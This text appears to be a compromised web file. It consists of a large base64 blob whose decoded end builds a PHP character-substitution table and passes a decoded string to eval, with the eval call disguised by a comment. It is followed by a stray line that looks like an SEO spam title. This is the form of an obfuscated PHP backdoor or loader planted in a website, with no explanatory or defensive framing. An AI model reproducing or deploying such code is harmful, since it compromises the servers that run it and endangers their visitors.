xUzhCZlElbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlTVFoMk04JW1lJW1VWHZBOGhROGhOJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5Jy4KJyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fQlF2TVoxaF8xcVNOUSVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslZScuCidjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VQTJoX0JTaFMlbWUlcGMlbWUlbW0lbW0lJy4KJ3BGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNJW1lJW13JW1VWSVwY2UlcEYlbWUlbVVZJXBFTmhNZicuCidROCVtdyVtVUJTaFMlbWslcEYlbWslZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlJy4KJ2V5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNJW1lJW13JW1VViVwY2UlcEYlbWUlbVVWJXBFTmhNZlE4JW13JW1VM1FaJW1rJW0nLgonZSVtSyVtSyVtZSVtVVklcEVOaE1mUTglbXclbVVCU2hTJW1rJXBGJW1lJW1VViVtRiVtRiVtRSVtZSVtVVklbUYlbUYlbWslZWMlZXklbWUlJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVUEyaF9CU2hTJW1lLiVwYyVtZXZxTSVtd0FNQiVtdyVtVUJTaFMlT0YlbScuCidVWSVPYyVtayVtZSVPbiVtZUFNQiVtdyVtVTNRWiVPRiVtVVYlT2MlbWslbWslcEYlZWMnLgonJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZSVtVUEyaF9CU2hTJXBGJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJy4KJyVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fQlF2TVoxaCVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslZWMlZXklbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbScuCidlJW1lJW1lJW1lR2ZBUFNmJW1lJW1Vdk5fUzJocSVwRiVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZXZOX0JRdk1aMWhfMXFTJy4KJ05RJW13dk5fQlF2TVoxaF8xcVNOUSVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslbUUlbWUlbVV2Tl9TMmhxJScuCidtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fUTh2TVoxaCVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lR2ZBUFNmJW1lJW1Vdk5fUzJocSVwRiUnLgonZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWV2Tl9CUXZNWjFoXzFxU05RJW13dk5fQlF2TVoxaF8xcVNOUSVtdyVtVUJTaCcuCidTJW1FJW1lJW1Vdk5fUzJocSVtayVtRSVtZSVtVTNRWiVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVMYyVlYyVleSVlJy4KJ2MlZXklbWUlbWUlbWUlbWVYMjh2aFlBOCVtZXZOX1hZZlFfTVFTQiVtdyVtVTFTaHElbWslZWMlZXklbWUlbWUlJy4KJ21lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VQlNoUyVtZSVwYyVtZSVVZVhZZlFfR1FoX3ZBOGhROGhOJW13Jy4KJyVtVTFTaHElbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWUlbVVCU2hTJXBGJWVjJWV5JW1lJW1lJW0nLgonZSVtZSVMYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fWFlmUV9vTVloUSVtdyVtVTFTaCcuCidxJW1FJW1lJW1VQlNoUyVtayVlYyVleSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZScuCiclbWUlbWUlbWUlbWUlbWUlVWVYWWZRXzEyaF9hoTiVtdyVthoTiVtdyVtVTFTaHElbUUlbScuCidlJW1VQlNoUyVtayVwRiVlYyVleSVtZSVtZSVSVtZSVtZSVMYyVlYyVleVtZSVtZVgyOHZoWUE4JW1ldk5fhCJW13JW1VMVNocSVtRSVtZSVtVUJTaFMlbWslZWMlZXklJW1lJW1lJW1hfk2hW1lJW1VlbWV3JW1rJXBGJWVjJWV5JW1lJW1W1lJjJWV5JW1lJW1W1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWDI4dmhZQTglbWV2Tl9OQU1oX3ZBZzFTTVFNJW13JW1VUyVtRSVtZScuCiclbVVQJW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZU1RaDJNOCVtZU5oTWZROCVtdyVtVVMlbWslbWUtJW1lTmhNZlE4JW13JW1VUCVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVMYyVlYyVleSVlYyUnLgonZXklbWUlbWUlbWUlbWVYMjh2aFlBOCVtZXZOXzlRaEVBZ2dBODRoQU1TR1ElbXclbVVCWU1OJXBjVFd0dCVtayVlYyVleSVtZSVtZSVtZSVtZSVMRicuCiclZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVOUWZYX0JZTSVtZSVwYyVtZUJZTScuCic4U2dRJW13X19SaXRuX18lbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVV2QWdnQThfOFNnUU4nLgonJW1lJXBjJW1leU1NU1olbXclbW1BMWhZQThOJW1tJW1FJW1lJW1teFlRb04lbW0lbUUlbWUlbW0xU0dRTiVtbSVtRSVtZSVtbU5RTk5ZQThOJW1tJW1FJW1lJW1tTmhTJy4KJ2hOJW1tJW1FJW1lJW1tMk5RTU4lbW0lbUUlbWUlbW1TTWhZdmZRTiVtbSVtRSVtZSVtbUIyZzElbW0lbUUlbWUlbW1xUVNCUU1OJW1tJW1FJW1lJScuCidtbWZZUE4lbW0lbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVoZzFfQllNJW1lJXAnLgonYyVtZSVtVU5RZlhfQllNJW1lLiVtZSVtbS8lbW0lbWUuJW1lJW1VdkFnZ0E4XzhTZ1FOJU9GTmhNZlE4JW13dk5fOVFoSkFOaCVtdycuCiclbWslbWslbWUlbU8lbWV2QTI4aCVtdyVtVXZBZ2dBOF84U2dRTiVtayVPYyVwRiVlYyVleSVlYyVleSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtd1hZZlFfUXpZTmhOJW13JW1VaGcxX0JZTSVtayVtayVlYyVleSVtZSVtZSVtZSVtJy4KJ2UlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWUlbVVoZzFfQllNJXBGJWVjJy4KJyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWVZWCVtd2czQllNJW13JW1VaGcxX0JZTSVtayVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWUlbVVoZzFfQllNJXBGJWVjJWV5Jy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZSVtbSUnLgonbW0lcEYlZWMlZXklbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWVYMjh2aFlBOCVtZXZOXzFmMkdZOF8nLgonU0JCJW13JW1VOFNnUSVtRSVtZSVtVVBTTlFLVV9CU2hTJW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJScuCidlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVUJTaFMlbWUlcGMlbWVQU05RSycuCidVX0JRdkFCUSVtdyVtVVBTTlFLVV9CU2hTJW1rJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTmhBTVNHUV8xU2hxJW1lJXBjJW0nLgonZXZOXzlRaEVBZ2dBODRoQU1TR1ElbXclbWslbWUuJW1lJW1tLyVtbSVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU5oQU1TR1FfMVNocSVtZSVwYyUnLgonbWUlbVVOaEFNU0dRXzFTaHElbWUuJW1lTjJQTmhNJW13Z0JPJW13JW1tdlN2cVElbW0lbWslbUUlbWVlJW1FJW1lTyVtayVtZScuCicuJW1lJW1tXyVtbSVtZS4lbWVnQk8lbXclbVU4U2dRJW1lLiVtZXZOXzlRaEpBTmglbXclbWslbWslcEYlZWMlZXknLgonJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1ldk5fWFlmUV9vTVloUSVtdyVtVU5oQU1TR1FfMScuCidTaHElbUUlbWV2Tl9ROHZNWjFoJW13JW1VQlNoUyVtRSVtZXZOXzlRaEpBTmglbXclbWslbWslbWslcEYlZWMlZXklbWUlbWUnLgonJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWDI4dmhZQTglbWV2Tl8xZjJHWThfTVEnLgonZyVtdyVtVThTZ1ElbWslZWMlZXklbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVUnLgonTmhBTVNHUV8xU2hxJW1lJXBjJW1ldk5fOVFoRUFnZ0E4NGhBTVNHUSVtdyVtay4lbWUlbW0vJW1tJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtVU5oQU1TR1FfMVNocSVtZSVwYyVtZSVtVU5oQU1TR1FfMVNocSVtZS4lbWVOMlBOaE0lbXdnQk8lbXclbW12U3ZxUSVtbSVtayVtRSVtZWUlJy4KJ21FJW1lTyVtayVtZS4lbWUlbW1fJW1tJW1lLiVtZWdCTyVtdyVtVThTZ1ElbWUuJW1ldk5fOVFoSkFOaCVtdyVtayVtayVwRiVlYyVleSVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtd1hZZlFfUXpZTmhOJW13JW1VTmhBTVNHUV8xU2gnLgoncSVtayVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlVWUyOGZZODMlbXclbVVOaEFNU0dRXzFTaHElbWslcEYlZWMlZXklbWUlJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWDI4dmhZQTglbScuCidldk5fMWYyR1k4X2ZBU0IlbXclbVU4U2dRJXBjVFd0dCVtayVlYyVleSVtZSVtZSVtZSVtZSVMRiVlYycuCiclZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVOaEFNU0dRXzFTaHElbWUlcGMlbWV2Tl85UWhFQWdnJy4KJ0E4NGhBTVNHUSVtdyVtayVwRiVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13WU5fQllNJW13JW1VTmhBTVNHUV8xU2hxJW0nLgonayVtayVlYyVleSVSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13JW1VJy4KJzhTZ1ElbWUlcGMlcGMlbWVUV3R0JW1rJW1lLy8lbWVmQVNCJW1lU2ZmJW1lMWYyR1k4TicuCiclZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNUVN2cSVtZSVtd052UzhCWU0lbXclbVVOaEFNU0dRXzFTaHElbWslbWVTTiVtZSUnLgonbVUzUVolcGMlcG4lbVUxZjJHWThfOFNnUSVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtJy4KJ2UlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUnLgonJW1lJW1lJW1lJW1lJW1lWVglbWUlbXdOaE0xQU4lbXclbVUxZjJHWThfOFNnUSVtRSVtZU4yUE5oTSVtd2dCTyVtdyVtbXZTdnFRJW1tJW1rJW1FJW1lZScuCiclbUUlbWVPJW1rJW1rJW1lJW1zJXBjJXBjJW1lUlNmTlElbWslZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVtZSVVZVF4U2YlbXd2Tl9CUXZNWjFoJW13dk5fWFlmUV9NUVNCJW13JW1VTmhBTVNHUV8xU2hxJW1lLiVtZScuCiclbW0vJW1tJW1lLiVtZSVtVTFmMkdZOF84U2dRJW1rJW1FJW1ldk5fOVFoSkFOaCVtdyVtayVtayUnLgonbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW0nLgonZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWUlbWUlbWUlbWVRZk5RJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWUlbWUlbVVOaEFNU0dRXzFTaHElbWUlcGMlbWUlbVVOaEFNU0dRXzFTaHElbWUuJW1lJW1tLyVtbSVtZS4lbWVOMlBOJy4KJ2hNJW13Z0JPJW13JW1tdlN2cVElbW0lbWslbUUlbWVlJW1FJW1lTyVtayVtZS4lbWUlbW1fJy4KJyVtbSVtZS4lbWVnQk8lbXclbVU4U2dRJW1lLiVtZXZOXzlRaEpBTmglbXclbWslbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlJW1lJW1lJW1lJW1lWVglbWUlbXdYWWZRX1F6WU5oTiVtdyVtVU5oQU1TR1FfMVNocSVtayVtayVlYyVleSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJVVlUXhTZiVtd3ZOX0JRdk1aMWglbXd2Tl9YWWZRX01RU0IlbScuCid3JW1VTmhBTVNHUV8xU2hxJW1rJW1FJW1ldk5fOVFoSkFOaCVtdyVtayVtayVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWUlbWUlbWUlTGMlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMnLgonJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWDI4dmhZQScuCic4JW1ldk5fb01ZaFNQZlFfdnFRdjMlbXclbWslZWMlZXklbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtd05oTWZROCVtd3ZOXycuCic5UWhFQWdnQTg0aEFNU0dRJW13JW1rJW1rJW1lJW1zJXBjJW1lZSVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWVhTTJRJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZVFmTlElZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lTVFoMk04JW1lUlNmTlElcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklbWUlbWUlJy4KJ21lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWEFNUVN2cSVtZSVtdyVtVV9FNScuCic1amluJW1lU04lbWUlbVUzUVolcGMlcG4lbVV4U2YyUSVtayVlYyVleSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbVVCU2hTJW1lJXBjJW1lJW1VeFNmMlElcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUnLgonJW1lJW1lJW1VQlNoU18zUVolbWUlcGMlbWUlbVUzUVolcEYlZWMlZXklbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbScuCidlWVglbWUlbXclbXMlbVVCU2hTJW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZVhBTVFTdnElbWUlbXclbVVfNjU0YSVtZVNOJW1lJW1VM1FaJXBjJXBuJW1VeFNmMlElbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VQlNoUyVtZSVwYycuCiclbWUlbVV4U2YyUSVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVUJTaFNfM1FaJW1lJXBjJW1lJW1VM1FaJXBGJWVjJWV5JW1lJW0nLgonZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVMYyVlYyVleSVlYyVleSVtZSVtZSVtJy4KJ2UlbWUlbVVCU2hTJW1lJXBjJW1lJVVlMjhOUU1ZU2ZZdVElbXd2Tl9CUXZNWjFlbXd2Tl9CUXZNWjFoJW13UFNOVtdtdyVtVUJTaFMlbWslbScuCidFJW1lJW1VQlNoU18zUVolbWslbMlZXklZXklZWMlZXklbWUlbWUlbVZWC1lOTbWUlbWVZWCVtZSVtd1lOTlFoJW13JW1VJy4KJ0JTaFMlT0YlbUxTMyVtTCVMyVtTCVPYyVtayVtZSVtSyVtFMlT0YlbUxTMyVtTJTaFMlT0YlbUxTMyVtTCVPYyVtayVtZSVtSyVtFMlT0YlbUxTMyVtTCVPYyVtayVtZSVtSyVtSyVtZSVtVVtSyVtSyVtZSVtVXZOX1MyaH0JTaFMlT0YlbUxTMyVtTCVPYyVtayVtZSVtSyVtSyVtZSVtVXZOX1MyaHElcGMlcGMlbVVCU2hTJU9GJGMlcGMlbVVCU2hTJU9GJW1MUzMlbUwlTW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWVglW1VQlNoUyVPRiVtTFMlbUwlT2MlbWUlcGMlcGMlbWUlbUxZJW1MJW1rJWVjJWV5JW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWUlbVVZJW1lJXBjJW1leU1NU1olbXclZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUnLgonJW1lJW1lJW1lJW1lJW1lJW1lJW1MMXglbUwlbWUlcGMlcG4lbWUlVWUxcTF4UU1OWUE4JW13JW1rJy4KJyVtRSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtJy4KJ2UlbWUlbUxOeCVtTCVtZSVwYyVwbiVtZSVtTHMuZS1tJW1MJW1FJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtTFMzJW1MJW1lJXBjJXBuJW1lJW1VQlNoUyVPRiVtTFMzJW1MJU9jJW1FJWVjJWV5JScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVF2cUElbWUlVWVOUU1ZU2ZZJy4KJ3VRJW13JW1VWSVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVF6WWglcEYlZWMlZXklbWUlbWUlbWUlbWUnLgonJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lUWZOUVlYJW1lJW13JW1VQlMnLgonaFMlT0YlbUxTJW1MJU9jJW1lJXBjJXBjJW1lJW1MUSVtTCVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtJy4KJ2UlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVRJy4KJ3hTZiVtdyVtVUJTaFMlT0YlbUxCJW1MJU9jJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZVFmTlFZWCVtZSVtdyVtVUJTaFMlT0YlbUxTJW1MJU9jJW1lJXBjJXBjJW1lJW1MMWYyJy4KJ0dZOCVtTCVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWUlbWUlbWVZWCVtdyVtVUJTaFMlT0YlbUxOUyVtTCVPYyVtZSVwYyVwYyVtZSVtTFMnLgonQkIlbUwlbWslZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1ldk5fMWYyR1k4X1NCQiVtdyVtVUJTaFMlT0YlbUwxJW1MJU9jJW1FJW0nLgonZSVtVUJTaFMlT0YlbUxCJW1MJU9jJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVFmTlFZWCVtdyVtVUJTaFMlT0YlbUxOUyVtTCVPYyVtZSVwYyUnLgoncGMlbWUlbUxNUWclbUwlbWslZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUnLgonJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1ldk5fMWYyR1k4X01RZyUnLgonbXclbVVCU2hTJU9GJW1MMSVtTCVPYyVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZScuCiclbWUlbWUlbWUlbWUlTGMlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVRdnFBJW1lJW1VQlNoUyVPRiVtTFMzJW1MJU9jJXBGJWVjJWV5JW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZVF6WWglbXclbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUnLgondk5fMWYyR1k4X2ZBU0IlbXclbWslcEYlZWMlZXklTGMnOwokcnh3ZHB0aSA9IEFycmF5KCcxJz0+J3AnLCAnMCc9PidSJywgJzMnPT4naycsICcyJz0+J3UnLCAnNSc9PidPJywgJzQnPT4nUycsICc3Jz0+J1EnLCAnNic9PidQJywgJzknPT4nRycsICc4Jz0+J24nLCAnQSc9PidvJywgJ0MnPT4ncScsICdCJz0+J2QnLCAnRSc9PidDJywgJ0QnPT4nVycsICdHJz0+J2cnLCAnRic9PidCJywgJ0knPT4nSicsICdIJz0+J1gnLCAnSyc9Pic2JywgJ0onPT4nSCcsICdNJz0+J3InLCAnTCc9Pic3JywgJ08nPT4nNScsICdOJz0+J3MnLCAnUSc9PidlJywgJ1AnPT4nYicsICdTJz0+J2EnLCAnUic9PidGJywgJ1UnPT4nNCcsICdUJz0+J04nLCAnVyc9PidVJywgJ1YnPT4naicsICdZJz0+J2knLCAnWCc9PidmJywgJ1onPT4neScsICdhJz0+J1QnLCAnYyc9PidEJywgJ2InPT4nWicsICdlJz0+JzAnLCAnZCc9PidZJywgJ2cnPT4nbScsICdmJz0+J2wnLCAnaSc9PidJJywgJ2gnPT4ndCcsICdrJz0+JzknLCAnaic9PidLJywgJ20nPT4nMicsICdsJz0+J00nLCAnbyc9Pid3JywgJ24nPT4nRScsICdxJz0+J2gnLCAncCc9PiczJywgJ3MnPT4nMScsICdyJz0+J1YnLCAndSc9Pid6JywgJ3QnPT4nTCcsICd3Jz0+JzgnLCAndic9PidjJywgJ3knPT4nQScsICd4Jz0+J3YnLCAneic9Pid4Jyk7CmV2YWwvKmx0aHllbXhiZWgqLyhucnhpcXRzdSgkZmN1dWZzbWh6dCwgJHJ4d2RwdGkpKTsKfQ=="));
Creature Swap Vs Unaffected By Card Effects, Articles C